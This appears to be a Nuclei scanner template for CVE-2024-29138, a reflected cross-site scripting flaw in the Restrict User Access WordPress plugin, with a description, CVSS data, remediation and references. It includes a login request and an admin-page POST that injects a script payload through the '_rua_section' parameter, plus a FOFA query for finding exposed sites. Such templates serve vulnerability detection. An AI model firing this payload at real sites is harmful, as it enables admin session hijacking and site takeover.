id: CVE-2024-29138 info: name: WordPress Restrict User Access <= 2.5 - Cross-Site Scripting author: Shivam Kamboj severity: medium description: | WordPress Restrict User Access – Membership Plugin with Force versions before 2.6 is vulnerable to Reflected Cross-Site Scripting via the '_rua_section' parameter in the admin level edit page. impact: | Attackers can execute arbitrary scripts in authenticated admin browsers, potentially leading to session hijacking, privilege escalation, WordPress admin account takeover, malicious plugin installation, and website defacement. remediation: | Update Restrict User Access plugin to version 2.6 or later. reference: - https://patchstack.com/database/wordpress/plugin/restrict-user-access/vulnerability/wordpress-restrict-user-access-plugin-2-5-reflected-cross-site-scripting-xss-vulnerability - https://nvd.nist.gov/vuln/detail/CVE-2024-29138 - https://wordpress.org/plugins/restrict-user-access/ classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2024-29138 epss-score: 0.00622 epss-percentile: 0.45057 cwe-id: CWE-79 metadata: verified: true max-request: 2 fofa-query: body="/plugins/restrict-user-access/" tags: cve,cve2024,wordpress,wp,wp-plugin,xss,authenticated,vkev flow: http(1) && http(2) http: - raw: - | POST /wp-login.php HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded log={{username}}&pwd={{password}}&wp-submit=Log+In matchers: - type: dsl dsl: - status_code == 302 - contains(header, 'wordpress_logged_in') condition: and internal: true - raw: - | POST /wp-admin/admin.php?page=wprua-level&action=edit HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded level_id=1&_rua_section="> matchers: - type: dsl dsl: - 'status_code == 200' - 'contains(content_type, "text/html")' - 'contains_all(body, "\">","restrict-user-access")' condition: and # digest: 4a0a0047304502204ad126cec28273bcc26f1171cb0ffadaf4e822e815fd0a3b987ea552ae5c6693022100c5679272e5efff9f5b9e51f3bc8e13e92d30ccb4455b2d10d6af0be2fec75eef:922c64590222798bb761d5b6d8e72950